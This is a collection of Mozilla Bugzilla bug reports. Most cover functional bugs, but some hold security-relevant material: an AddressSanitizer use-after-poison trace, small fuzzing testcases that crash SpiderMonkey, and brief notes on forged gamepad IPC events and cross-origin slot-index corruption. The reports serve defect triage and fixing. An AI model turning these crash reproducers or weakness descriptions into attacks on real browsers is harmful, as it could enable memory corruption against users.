1 xul.dll mozilla::widget::TSFTextStore::OnSelectionChangeInternal widget/windows/TSFTextStore.cpp:6052
2 xul.dll static mozilla::widget::TSFTextStore::OnSelectionChange widget/windows/TSFTextStore.h:183
3 xul.dll static mozilla::widget::IMEHandler::NotifyIME widget/windows/WinIMEHandler.cpp:248
4 xul.dll mozilla::widget::TextEventDispatcher::NotifyIME widget/TextEventDispatcher.cpp:447
5 xul.dll nsBaseWidget::NotifyIME widget/nsBaseWidget.cpp:1696
6 xul.dll static mozilla::IMEStateManager::NotifyIME dom/events/IMEStateManager.cpp:1896
7 xul.dll mozilla::dom::BrowserParent::RecvNotifyIMECompositionUpdate dom/ipc/BrowserParent.cpp:2400
8 xul.dll mozilla::dom::PBrowserParent::OnMessageReceived ipc/ipdl/PBrowserParent.cpp:3571
9 xul.dll mozilla::dom::PContentParent::OnMessageReceived ipc/ipdl/PContentParent.cpp:7053
```
|
|
1,765,091 | 15,861,343 |
User Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0
Steps to reproduce:
1. Install Fcitx5-mozc on Xubuntu.
2. Open a website in Firefox.
3. Paste a string from clipboard into textarea, or copy a string from textarea to clipboard.
Actual results:
Japanese input by Mozc does not active even if I press the set conversion key.
Expected results:
Mozc is activated.
|
|
1,765,343 | 15,864,727 |
Found while fuzzing mozilla-central rev 61d8c578d367 (built with: --enable-address-sanitizer --enable-fuzzing).
I've seen a number of crashes like this recently that occur in garbage collection after cleaning up a writable stream. I don't currently have a reliable testcase, nor have I been able to get a pernosco session but, I will attach it here if one is found.
```
AddressSanitizer: use-after-poison [@ GetTenuredGCThingZone] with READ of size 8
=================================================================
==332==ERROR: AddressSanitizer: use-after-poison on address 0x176ca48bf008 at pc 0x7fc56e041493 bp 0x7ffddb0fa400 sp 0x7ffddb0fa3f8
READ of size 8 at 0x176ca48bf008 thread T0 (Isolated Web Co)
#0 0x7fc56e041492 in GetTenuredGCThingZone /builds/worker/workspace/obj-build/dist/include/js/HeapAPI.h:533:10
#1 0x7fc56e041492 in GetTenuredGCThingZone /builds/worker/workspace/obj-build/dist/include/js/HeapAPI.h:648:10
#2 0x7fc56e041492 in ExposeGCThingToActiveJS /builds/worker/workspace/obj-build/dist/include/js/HeapAPI.h:764:39
#3 0x7fc56e041492 in ExposeValueToActiveJS /builds/worker/workspace/obj-build/dist/include/js/Value.h:1000:5
#4 0x7fc56e041492 in js::BarrierMethods<JS::Value, void>::exposeToJS(JS::Value const&) /builds/worker/workspace/obj-build/dist/include/js/Value.h:1191:48
#5 0x7fc574402614 in exposeToActiveJS /builds/worker/workspace/obj-build/dist/include/js/RootingAPI.h:345:35
#6 0x7fc574402614 in get /builds/worker/workspace/obj-build/dist/include/js/RootingAPI.h:348:5
#7 0x7fc574402614 in operator const JS::Value & /builds/worker/workspace/obj-build/dist/include/js/RootingAPI.h:340:3
#8 0x7fc574402614 in void mozilla::dom::DequeueValue<mozilla::dom::WritableStreamDefaultController*>(mozilla::dom::WritableStreamDefaultController*, JS::MutableHandle<JS::Value>) /builds/worker/workspace/obj-build/dist/include/mozilla/dom/QueueWithSizes.h:101:20
#9 0x7fc57440326a in operator() /gecko/dom/streams/WritableStreamDefaultController.cpp:334:13
#10 0x7fc57440326a in operator() /builds/worker/workspace/obj-build/dist/include/mozilla/dom/Promise-inl.h:313:5
#11 0x7fc57440326a in CallCallback<(lambda at /builds/worker/workspace/obj-build/dist/include/mozilla/dom/Promise-inl.h:311:7), 0UL> /builds/worker/workspace/obj-build/dist/include/mozilla/dom/Promise-inl.h:207:12
#12 0x7fc57440326a in CallCallback<(lambda at /builds/worker/workspace/obj-build/dist/include/mozilla/dom/Promise-inl.h:311:7)> /builds/worker/workspace/obj-build/dist/include/mozilla/dom/Promise-inl.h:216:12
#13 0x7fc57440326a in mozilla::dom::(anonymous namespace)::NativeThenHandler<void mozilla::dom::Promise::AddCallbacksWithCycleCollectedArgs<mozilla::dom::WritableStreamDefaultControllerProcessWrite(JSContext*, mozilla::dom::WritableStreamDefaultController*, JS::Handle<JS::Value>, mozilla::ErrorResult&)::$_6, mozilla::dom::WritableStreamDefaultControllerProcessWrite(JSContext*, mozilla::dom::WritableStreamDefaultController*, JS::Handle<JS::Value>, mozilla::ErrorResult&)::$_7, RefPtr<mozilla::dom::WritableStreamDefaultController> >(mozilla::dom::WritableStreamDefaultControllerProcessWrite(JSContext*, mozilla::dom::WritableStreamDefaultController*, JS::Handle<JS::Value>, mozilla::ErrorResult&)::$_6&&, mozilla::dom::WritableStreamDefaultControllerProcessWrite(JSContext*, mozilla::dom::WritableStreamDefaultController*, JS::Handle<JS::Value>, mozilla::ErrorResult&)::$_7&&, RefPtr<mozilla::dom::WritableStreamDefaultController>&&)::'lambda'(JSContext*, JS::Handle<JS::Value>, mozilla::ErrorResult&, RefPtr<mozilla::dom::WritableStreamDefaultController>&&), void mozilla::dom::Promise::AddCallbacksWithCycleCollectedArgs<mozilla::dom::WritableStreamDefaultControllerProcessWrite(JSContext*, mozilla::dom::WritableStreamDefaultController*, JS::Handle<JS::Value>, mozilla::ErrorResult&)::$_6, mozilla::dom::WritableStreamDefaultControllerProcessWrite(JSContext*, mozilla::dom::WritableStreamDefaultController*, JS::Handle<JS::Value>, mozilla::ErrorResult&)::$_7, RefPtr<mozilla::dom::WritableStreamDefaultController> >(mozilla::dom::WritableStreamDefaultControllerProcessWrite(JSContext*, mozilla::dom::WritableStreamDefaultController*, JS::Handle<JS::Value>, mozilla::ErrorResult&)::$_6&&, mozilla::dom::WritableStreamDefaultControllerProcessWrite(JSContext*, mozilla::dom::WritableStreamDefaultController*, JS::Handle<JS::Value>, mozilla::ErrorResult&)::$_7&&, RefPtr<mozilla::dom::WritableStreamDefaultController>&&)::'lambda0'(JSContext*, JS::Handle<JS::Value>, mozilla::ErrorResult&, RefPtr<mozilla::dom::WritableStreamDefaultController>&&), std::tuple<RefPtr<mozilla::dom::WritableStreamDefaultController> >, std::tuple<> >::CallResolveCallback(JSContext*, JS::Handle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/obj-build/dist/include/mozilla/dom/Promise-inl.h:185:12
#14 0x7fc57435bf77 in mozilla::dom::PromiseNativeThenHandlerBase::ResolvedCallback(JSContext*, JS::Handle<JS::Value>, mozilla::ErrorResult&) /gecko/dom/promise/Promise.cpp:256:29
#15 0x7fc574366a50 in mozilla::dom::(anonymous namespace)::PromiseNativeHandlerShim::ResolvedCallback(JSContext*, JS::Handle<JS::Value>, mozilla::ErrorResult&) /gecko/dom/promise/Promise.cpp:412:12
#16 0x7fc5743671e8 in mozilla::dom::NativeHandlerCallback(JSContext*, unsigned int, JS::Value*) /gecko/dom/promise/Promise.cpp
#17 0x7fc57b6f8034 in CallJSNative /gecko/js/src/vm/Interpreter.cpp:420:13
#18 0x7fc57b6f8034 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /gecko/js/src/vm/Interpreter.cpp:507:12
#19 0x7fc57b6f9d5b in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>, js::CallReason) /gecko/js/src/vm/Interpreter.cpp:584:8
#20 0x7fc57a0d107a in Call /gecko/js/src/vm/Interpreter.h:105:10
#21 0x7fc57a0d107a in PromiseReactionJob(JSContext*, unsigned int, JS::Value*) /gecko/js/src/builtin/Promise.cpp:2067:10
#22 0x7fc57b6f8034 in CallJSNative /gecko/js/src/vm/Interpreter.cpp:420:13
#23 0x7fc57b6f8034 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /gecko/js/src/vm/Interpreter.cpp:507:12
#24 0x7fc57b6f9d5b in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>, js::CallReason) /gecko/js/src/vm/Interpreter.cpp:584:8
#25 0x7fc579e41dfd in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /gecko/js/src/vm/CallAndConstruct.cpp:117:10
#26 0x7fc5704b69dc in mozilla::dom::PromiseJobCallback::Call(mozilla::dom::BindingCallContext&, JS::Handle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/obj-build/dom/bindings/PromiseBinding.cpp:35:8
#27 0x7fc56c503907 in Call /builds/worker/workspace/obj-build/dist/include/mozilla/dom/PromiseBinding.h:89:12
#28 0x7fc56c503907 in Call /builds/worker/workspace/obj-build/dist/include/mozilla/dom/PromiseBinding.h:102:12
#29 0x7fc56c503907 in mozilla::PromiseJobRunnable::Run(mozilla::AutoSlowOperation&) /gecko/xpcom/base/CycleCollectedJSContext.cpp:213:18
#30 0x7fc56c4e2c17 in mozilla::CycleCollectedJSContext::PerformMicroTaskCheckPoint(bool) /gecko/xpcom/base/CycleCollectedJSContext.cpp:674:17
#31 0x7fc56c4e3bff in mozilla::CycleCollectedJSContext::AfterProcessTask(unsigned int) /gecko/xpcom/base/CycleCollectedJSContext.cpp:463:3
#32 0x7fc56e111e66 in XPCJSContext::AfterProcessTask(unsigned int) /gecko/js/xpconnect/src/XPCJSContext.cpp:1483:28
#33 0x7fc56c727848 in nsThread::ProcessNextEvent(bool, bool*) /gecko/xpcom/threads/nsThread.cpp:1217:24
#34 0x7fc56c73105c in NS_ProcessNextEvent(nsIThread*, bool) /gecko/xpcom/threads/nsThreadUtils.cpp:465:10
#35 0x7fc56de41def in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /gecko/ipc/glue/MessagePump.cpp:85:21
#36 0x7fc56dcbbdd1 in RunInternal /gecko/ipc/chromium/src/base/message_loop.cc:380:10
#37 0x7fc56dcbbdd1 in RunHandler /gecko/ipc/chromium/src/base/message_loop.cc:373:3
#38 0x7fc56dcbbdd1 in MessageLoop::Run() /gecko/ipc/chromium/src/base/message_loop.cc:355:3
#39 0x7fc574b4b257 in nsBaseAppShell::Run() /gecko/widget/nsBaseAppShell.cpp:137:27
#40 0x7fc5799e8f2f in XRE_RunAppShell() /gecko/toolkit/xre/nsEmbedFunctions.cpp:870:20
#41 0x7fc56dcbbdd1 in RunInternal /gecko/ipc/chromium/src/base/message_loop.cc:380:10
#42 0x7fc56dcbbdd1 in RunHandler /gecko/ipc/chromium/src/base/message_loop.cc:373:3
#43 0x7fc56dcbbdd1 in MessageLoop::Run() /gecko/ipc/chromium/src/base/message_loop.cc:355:3
#44 0x7fc5799e8153 in XRE_InitChildProcess(int, char**, XREChildData const*) /gecko/toolkit/xre/nsEmbedFunctions.cpp:729:34
#45 0x55d22751647d in content_process_main(mozilla::Bootstrap*, int, char**) /gecko/browser/app/../../ipc/contentproc/plugin-container.cpp:57:28
#46 0x55d2275168b0 in main /gecko/browser/app/nsBrowserApp.cpp:327:18
#47 0x7fc5914c40b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16
#48 0x55d227465569 in _start (/home/worker/builds/m-c-20220419093010-fuzzing-asan-opt/firefox+0x5e569)
Address 0x176ca48bf008 is a wild pointer inside of access range of size 0x000000000008.
SUMMARY: AddressSanitizer: use-after-poison /builds/worker/workspace/obj-build/dist/include/js/HeapAPI.h:533:10 in GetTenuredGCThingZone
Shadow bytes around the buggy address:
0x02ee1490fdb0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x02ee1490fdc0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x02ee1490fdd0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x02ee1490fde0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x02ee1490fdf0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
=>0x02ee1490fe00: f7[f7]f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x02ee1490fe10: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x02ee1490fe20: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x02ee1490fe30: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x02ee1490fe40: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x02ee1490fe50: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==332==ABORTING
```
|
|
1,765,610 | 15,866,804 |
I haven't tried this myself, but it looks like a compromised content process could generate fake events via the PGamepadTestChannelChild::SendGamepadTestEvent message. This will make the parent end up in GamepadTestChannelParent::RecvGamepadTestEvent, where it generates some kind of event. It looks like this would require that GamepadPlatformService is initialized first, but presumably that's something you can do from even a regular web page (gamepad is on by default).
I'd imagine the exploitability of this is rather low, as presumably browser UI doesn't listen for these events, nor do most webpages. Maybe you could make somebody run off a cliff in a game or something...
|
|
1,766,283 | 15,872,699 |
This problem first appeared while using concurrent delazification, which caused differences while mixing its content with functions delazified on-demand.
The problem likely comes from the fact that we have a pool of InlineTable, which are using HashMap from which we clear the content but keep the same capacity.
The problem occurs as follows:
- The pools of InlineTable is dependent on the JSContext. Thus we have a different pool between the main thread and the helper thread.
- While parsing other functions, the InlineTable's HashMap from the NameCollectionPool might grow in capacity before being added back to the pool.
- When an InlineTable is taken out of the pool, the content is cleared but the capacity is not reset. Thus we might have different `mHashShift`, which both describe the capacity and how many bits are considered before considering that we have a collision.
As the number of bits considered register entries in the HashMap is different, we can have more collisions in non-resized HashMap and less in resized HashMap. When we have collisions, the order of entries depends on the order in which entries are added.
Thus, if we have 2 ParserAtomIndex p1 and p2 which respectly have hashes h1 and h2, where h2 is smaller than h1, and that there is a mask for which the upper bits are identical. Then it exists a HashTable size for which p1 appears before p2 (after collision), and a size for which p1 appears after p2 (without collision).
The problem is that the order is relied on the compute the slot index at which the names are saved. Thus when a function is generated with a given starting HashMap capacity, and referenced from inner functions with a different starting HashMap capacity, we would generate code which is using the wrong slot index.
The other issue is that the HashTable are purged on GC. Thus the parsing of a script, from another origin, could pre-populate the pool of HashTable with larger sizes, which could potentially remove existing HashTable collisions, and change the on-demand parsing, causing the original website to misbehave by changing slot indexes between the enclosing function and its inner functions.
|
|
1,766,342 | 15,873,112 |
From github: https://github.com/mozilla-mobile/fenix/issues/24226.
> ### Steps to reproduce
>
> After the apk is updated to version 98 or 99 beta, opening the app makes a blank screen (no decoration, no url bar, no buttons or anything to interact). Rolling back to 97.3.0 makes firefox work again.
>
> ### Expected behaviour
>
> firefox should show menus and web content
>
> ### Actual behaviour
>
> The app cannot be interacted with
>
> ### Device name
>
> Sony Xperia XZ1
>
> ### Android version
>
> Android 8
>
> ### Firefox release type
>
> Firefox
>
> ### Firefox version
>
> 98.0.0
>
> ### Device logs
>
> Cannot pull logs from the application. Checked catlog while opening the app but could not find anything obvious (no tracebacks, at least), can find something better if anyone knows a keyword I can search for
>
> ### Additional information
>
> _No response_
Change performed by the [Move to Bugzilla add-on](https://addons.mozilla.org/en-US/firefox/addon/move-to-bugzilla/).
|
|
1,766,400 | 15,873,433 |
**[Notes]:**
- This is reproducible with both the PRODUCTION and STAGE PREVIEW.
- Besides force enrollment, we have also tried enrolling in the experiment by generating user IDs for each experiment branch. However, we did not manage to get enrolled in the experiment this way either.
- The following errors are thrown in the Browser Console:
`[Exception... "Component returned failure code: 0x80004001 (NS_ERROR_NOT_IMPLEMENTED) [nsIAppStartup.secondsSinceLastOSRestart]" nsresult: "0x80004001 (NS_ERROR_NOT_IMPLEMENTED)" location: "JS frame :: resource:///modules/BrowserGlue.jsm :: _collectStartupConditionsTelemetry :: line 1570" data: no] BrowserGlue.jsm:1570:9`
`services.settings: main-preview/nimbus-preview Signature failed InvalidSignatureError: Invalid content signature (main-preview/nimbus-preview) RemoteSettingsClient.jsm:965`
`services.settings: main-preview/nimbus-preview local data was corrupted RemoteSettingsClient.jsm:1000`
`services.settings: main-preview/nimbus-preview Signature verified failed. Retry from scratch RemoteSettingsClient.jsm:674`
`services.settings: main-preview/nimbus-preview Signature failed again InvalidSignatureError: Invalid content signature (main-preview/nimbus-preview) RemoteSettingsClient.jsm:965`
`Invalid content signature (main-preview/nimbus-preview) RemoteSettingsClient.jsm:135`
**[Affected versions]:**
- Firefox RC 100, Build ID: 20220425210429
- Firefox Beta 100.0b, Build ID: 20220421201645
**[Affected platforms]:**
- Windows 10 x64
- macOS 11.6.5
- Ubuntu 20.04 x64
**[Prerequisites]:**
- Have a new Nimbus experiment created and launched to preview.
- Have the `nimbus.debug` pref set to `true`.
- Change `messaging-system.rsexperimentloader.collection_id` to `nimbus-preview` value.
**[Steps to reproduce]:**
1. Open the browser with the profile from prerequisites.
2. Paste the force enrollment link from the recipe in a new tab.
3. Press the “Enter” key and observe what happens next.
**[Expected result]:**
- You are enrolled in the experiment.
**[Actual result]:**
- The `Could not find experiment slug <slug name> in collection nimbus-preview` error is displayed in the “about:studies” page.
**[Additional notes]:**
- [Here](https://drive.google.com/file/d/1MCPtYgTbXZyOZBZn06SlHhob_EERkfUh/view?usp=sharing) is a screen recording with the issue.
|
|
1,766,430 | 15,873,770 |
Created attachment 9273839
ss of the issue.png
**[Affected versions]:**
- Firefox Beta 100.0 - Build ID: 20220425210429
**[Affected Platforms]:**
- Windows 10 x64
- macOS 11.6.2
**[Prerequisites]:**
- Have a Firefox en-* locale build installed.
- Have a Firefox profile older than 28 days
- Firefox is NOT pinned to the taskbar/dock.
- Have the "[user.js](https://drive.google.com/file/d/1lkXdSxtWiT23CMv9WecT72y_UM3V0cXI/view?usp=sharing)" file saved to your PC.
**[Steps to reproduce]:**
1. Open the browser using the profile from the prerequisites.
2. Navigate to the profile folder and paste the "user.js" file from the prerequisites.
3. Restart the browser and focus the "Browser Console".
4. Observe the displayed errors.
**[Expected result]:**
- No error is displayed and you are successfully enrolled in the experiment.
**[Actual result]:**
- A validation error is displayed and you are NOT enrolled in the experiment.
**[Notes]:**
- This issue is not reproducible if a force enrollment is performed instead of a natural one.
- Attached a screenshot of the error.
|
|
1,766,436 | 15,873,798 |
Created attachment 9273842
ss of the issue.png
**[Notes]:**
- Unfortunately we cannot validate this scenario since we are blocked by bug 1766430, however, we observed that the `doesAppNeedPin` attribute is missing from the full targeting experssion.
**[Affected versions]:**
- Firefox Beta 100.0 - Build ID: 20220425210429
**[Affected Platforms]:**
- Windows 10 x64
- macOS 11.6.2
**[Prerequisites]:**
- Have a Firefox en-* locale build installed.
- Have Firefox pinned to the taskbar/dock.
- Have the "[user.js](https://drive.google.com/file/d/1lkXdSxtWiT23CMv9WecT72y_UM3V0cXI/view?usp=sharing)" file saved to your PC.
**[Steps to reproduce]:**
1. Open the browser using the profile from the prerequisites.
2. Navigate to the profile folder and paste the "user.js" file from the prerequisites.
3. Restart the browser and observe the behavior.
**[Expected result]:**
- The "ECO" spotlight is **NOT** displayed.
**[Actual result]:**
- The ECO spotlight is displayed even if Firefox is pinned to the taskbar/dock.
**[Notes]:**
- Attached a screenshot with the targeting expression.
|
|
1,766,656 | 15,875,405 |
The following testcase crashes on mozilla-central revision 20220427-139c89a60b72 (debug build, run with --fuzzing-safe --ion-offthread-compile=off):
const thisGlobal = this;
const otherGlobalSameCompartment = newGlobal({sameCompartmentAs: thisGlobal});
const globals = [thisGlobal, otherGlobalSameCompartment, undefined ];
function testProperties(global, count) {
let {object: source, transplant} = transplantableObject();
for (let i9 = 0; i9 < count; i9++)
source[(0) + i9] = i9;
transplant(global);
}
for (let global of globals)
for (let count of [0, 10, 30])
testProperties(global, count);
Backtrace:
received signal SIGSEGV, Segmentation fault.
#0 0x00005555575d0abf in js::gc::MemoryTracker::checkEmptyOnDestroy() ()
#1 0x000055555761b169 in js::ZoneAllocator::~ZoneAllocator() ()
#2 0x000055555761c9b4 in JS::Zone::~Zone() ()
#3 0x000055555754a0cd in JS::Zone::destroy(JS::GCContext*) ()
#4 0x000055555754ab65 in js::gc::GCRuntime::sweepZones(JS::GCContext*, bool) ()
#5 0x00005555575557aa in js::gc::GCRuntime::incrementalSlice(js::SliceBudget&, JS::GCReason, bool) ()
#6 0x0000555557559461 in js::gc::GCRuntime::gcCycle(bool, js::SliceBudget const&, JS::GCReason) ()
#7 0x000055555755a6a6 in js::gc::GCRuntime::collect(bool, js::SliceBudget const&, JS::GCReason) ()
#8 0x00005555575274c8 in js::gc::GCRuntime::gc(JS::GCOptions, JS::GCReason) ()
#9 0x000055555704c62c in JSRuntime::destroyRuntime() ()
#10 0x0000555556ecd426 in js::DestroyContext(JSContext*) ()
#11 0x0000555556b43447 in main ()
rax 0x55555575a42a 93824994354218
rbx 0x7ffff6040f20 140737320849184
rcx 0x5555581d5ae8 93825038899944
rdx 0x0 0
rsi 0x7ffff7105770 140737338431344
rdi 0x7ffff7104540 140737338426688
rbp 0x7fffffffd920 140737488345376
rsp 0x7fffffffd8a0 140737488345248
r8 0x7ffff7105770 140737338431344
r9 0x7ffff7f99840 140737353717824
r10 0x0 0
r11 0x0 0
r12 0x7fffffffd8b0 140737488345264
r13 0x1d411a001510 32165446292752
r14 0x4 4
r15 0x100 256
rip 0x5555575d0abf <js::gc::MemoryTracker::checkEmptyOnDestroy()+415>
=> 0x5555575d0abf <_ZN2js2gc13MemoryTracker19checkEmptyOnDestroyEv+415>: movl $0x2a5,0x0
0x5555575d0aca <_ZN2js2gc13MemoryTracker19checkEmptyOnDestroyEv+426>: callq 0x555556bd9e68 <abort>
|
|
1,766,806 | 15,876,377 |
Created attachment 9274191
stack
```js
new WebAssembly.Module(wasmTextToBinary(`
(module
(global $global$1
(mut i32)
(i32.const 0)
)
(func $0
(param $0 f64)
(param $1 f32)
(result f32)
(f32.copysign
(local.get $1)
(f32.const 0)
)
)
)
`));
```
```
(gdb) bt
#0 js::jit::AllocationIntegrityState::checkIntegrity (this=this@entry=0x7fffffff7800, block=block@entry=0x7ffff5f1cfa0, ins=0x7ffff5f1d158, ins@entry=0x7ffff5f1e020, vreg=vreg@entry=4, alloc=...) at /home/skygentoo/trees/mozilla-central/js/src/jit/RegisterAllocator.cpp:270
#1 0x0000555557be4538 in js::jit::AllocationIntegrityState::check (this=<optimized out>) at /home/skygentoo/trees/mozilla-central/js/src/jit/RegisterAllocator.cpp:207
#2 0x0000555557a9d11a in js::jit::GenerateLIR (mir=mir@entry=0x7fffffff7b50) at /home/skygentoo/trees/mozilla-central/js/src/jit/Ion.cpp:1534
#3 0x0000555557d41453 in js::wasm::IonCompileFunctions (moduleEnv=..., compilerEnv=..., lifo=..., inputs=..., code=<optimized out>, error=error@entry=0x7fffffffb828) at /home/skygentoo/trees/mozilla-central/js/src/wasm/WasmIonCompile.cpp:6944
#4 0x0000555557d0cbc3 in ExecuteCompileTask (task=0x7ffff6ace800, error=0x7fffffffb828) at /home/skygentoo/trees/mozilla-central/js/src/wasm/WasmGenerator.cpp:712
#5 0x0000555557d0d89a in js::wasm::ModuleGenerator::locallyCompileCurrentTask (this=0x7fffffffa2e0) at /home/skygentoo/trees/mozilla-central/js/src/wasm/WasmGenerator.cpp:773
#6 js::wasm::ModuleGenerator::finishFuncDefs (this=0x7fffffffa2e0) at /home/skygentoo/trees/mozilla-central/js/src/wasm/WasmGenerator.cpp:913
#7 0x0000555557cea100 in DecodeCodeSection<js::wasm::Decoder> (env=..., d=..., mg=...) at /home/skygentoo/trees/mozilla-central/js/src/wasm/WasmCompile.cpp:709
#8 0x0000555557ce9de7 in js::wasm::CompileBuffer (args=..., bytecode=..., error=error@entry=0x7fffffffb828, warnings=warnings@entry=0x7fffffffb858, listener=listener@entry=0x0) at /home/skygentoo/trees/mozilla-central/js/src/wasm/WasmCompile.cpp:731
#9 0x0000555557d5a8c9 in js::WasmModuleObject::construct (cx=cx@entry=0x7ffff6a2c200, argc=<optimized out>, vp=<optimized out>) at /home/skygentoo/trees/mozilla-central/js/src/wasm/WasmJS.cpp:1815
#10 0x0000555556c398d0 in CallJSNative (cx=cx@entry=0x7ffff6a2c200, native=native@entry=0x555557d5a730 <js::WasmModuleObject::construct(JSContext*, unsigned int, JS::Value*)>, reason=<optimized out>, reason@entry=js::CallReason::Call, args=...) at /home/skygentoo/trees/mozilla-central/js/src/vm/Interpreter.cpp:420
#11 0x0000555556c3dd25 in CallJSNativeConstructor (cx=cx@entry=0x7ffff6a2c200, native=0x555557d5a730 <js::WasmModuleObject::construct(JSContext*, unsigned int, JS::Value*)>, args=...) at /home/skygentoo/trees/mozilla-central/js/src/vm/Interpreter.cpp:436
#12 0x0000555556c2d4db in InternalConstruct (cx=<optimized out>, cx@entry=0x7ffff6a2c200, args=...) at /home/skygentoo/trees/mozilla-central/js/src/vm/Interpreter.cpp:633
#13 0x0000555556c22503 in js::ConstructFromStack (cx=0x7ffff6a2c200, args=...) at /home/skygentoo/trees/mozilla-central/js/src/vm/Interpreter.cpp:679
#14 Interpret (cx=cx@entry=0x7ffff6a2c200, state=...) at /home/skygentoo/trees/mozilla-central/js/src/vm/Interpreter.cpp:3304
#15 0x0000555556c18dcf in js::RunScript (cx=cx@entry=0x7ffff6a2c200, state=...) at /home/skygentoo/trees/mozilla-central/js/src/vm/Interpreter.cpp:389
#16 0x0000555556c2e4a4 in js::ExecuteKernel (cx=cx@entry=0x7ffff6a2c200, script=script@entry=..., envChainArg=envChainArg@entry=..., evalInFrame=evalInFrame@entry=..., result=result@entry=...) at /home/skygentoo/trees/mozilla-central/js/src/vm/Interpreter.cpp:781
#17 0x0000555556c2e87c in js::Execute (cx=cx@entry=0x7ffff6a2c200, script=..., envChain=..., rval=..., rval@entry=...) at /home/skygentoo/trees/mozilla-central/js/src/vm/Interpreter.cpp:813
#18 0x0000555556d93daf in ExecuteScript (cx=cx@entry=0x7ffff6a2c200, envChain=..., script=..., rval=rval@entry=...) at /home/skygentoo/trees/mozilla-central/js/src/vm/CompilationAndEvaluation.cpp:509
#19 0x0000555556d93fd8 in JS_ExecuteScript (cx=cx@entry=0x7ffff6a2c200, scriptArg=scriptArg@entry=...) at /home/skygentoo/trees/mozilla-central/js/src/vm/CompilationAndEvaluation.cpp:533
#20 0x0000555556b5e7a1 in RunFile (cx=cx@entry=0x7ffff6a2c200, filename=0x7fffffffde82 "testcase.js", filename@entry=0x7ffff7864020 "\230$\255\373\344\344\344", <incomplete sequence \344>, file=<optimized out>, file@entry=0x7ffff7864020, compileMethod=compileMethod@entry=CompileUtf8::DontInflate, compileOnly=false) at /home/skygentoo/trees/mozilla-central/js/src/shell/js.cpp:1065
#21 0x0000555556b5ded2 in Process (cx=cx@entry=0x7ffff6a2c200, filename=<optimized out>, forceTTY=false, kind=kind@entry=FileScript) at /home/skygentoo/trees/mozilla-central/js/src/shell/js.cpp:1654
#22 0x0000555556b2443c in ProcessArgs (cx=0x7ffff6a2c200, op=<optimized out>) at /home/skygentoo/trees/mozilla-central/js/src/shell/js.cpp:10921
#23 Shell (cx=0x7ffff6a2c200, op=op@entry=0x7fffffffd6e8) at /home/skygentoo/trees/mozilla-central/js/src/shell/js.cpp:11660
#24 0x0000555556b1d81a in main (argc=<optimized out>, argv=<optimized out>) at /home/skygentoo/trees/mozilla-central/js/src/shell/js.cpp:12702
(gdb)
```
Run with `--fuzzing-safe --no-threads --no-baseline --no-ion testcase.js`, compile with `AR=ar sh ./configure --enable-simulator=arm64 --enable-debug --with-ccache --enable-gczeal --enable-debug-symbols --disable-bootstrap --disable-tests`, tested on m-c rev 79a65e971e59.
Not sure if this is s-s, I'd leave it to Julian/Lars. Bisecting now...
|
|
1,766,997 | 15,877,831 |
Created attachment 9274401
rec of the issue.gif
**[Notes]:**
- This issue is **NOT** reproducible on Windows 11 x64, macOS 11.6, and Linux Mint 20.2 x64.
**[Affected versions]:**
- Firefox Release 99.0.1 - Build ID: 20220411174855
- Firefox Beta 100.0 - Build ID: 20220428192727
- Firefox Nightly 101.0a1 - Build ID: 20220428214715
**[Affected Platforms]:**
- Windows 10 x64
- Windows 8.1 x64
**[Prerequisites]:**
- Have a Firefox profile with the "browser.newtabpage.activity-stream.asrouter.devtoolsEnabled" pref set to "true" in the "about:config" page.
**[Steps to reproduce]:**
1. Open the browser using the profile from the prerequisites.
2. Navigate to the "about:newtab#asrouter" page.
3. Search for the "peace-of-mind-a-rollout-global" and click the "Show" button.
4. Observe the spotlight.
**[Expected result]:**
- The "ECO" spotlight is successfully displayed and all the elements are visible.
**[Actual result]:**
- Scrollbars are wrongly displayed inside the default "ECO" spotlight.
**[Regression Window]:**
- This issue is not reproducible with the Firefox Release 98.0.2 version. Considering this using the Mozregression tool I have managed to find the following regression window:
Last good revision: 1f27d80f3ad1b439bfb1fc3d359306de32ffbfe4
First bad revision: 626b4df4561e97285ab4b018769e636fc1feea36
Pushlog:
https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=1f27d80f3ad1b439bfb1fc3d359306de32ffbfe4&tochange=626b4df4561e97285ab4b018769e636fc1feea36
From the pushlog it seems that bug 1758187 has caused this regression.
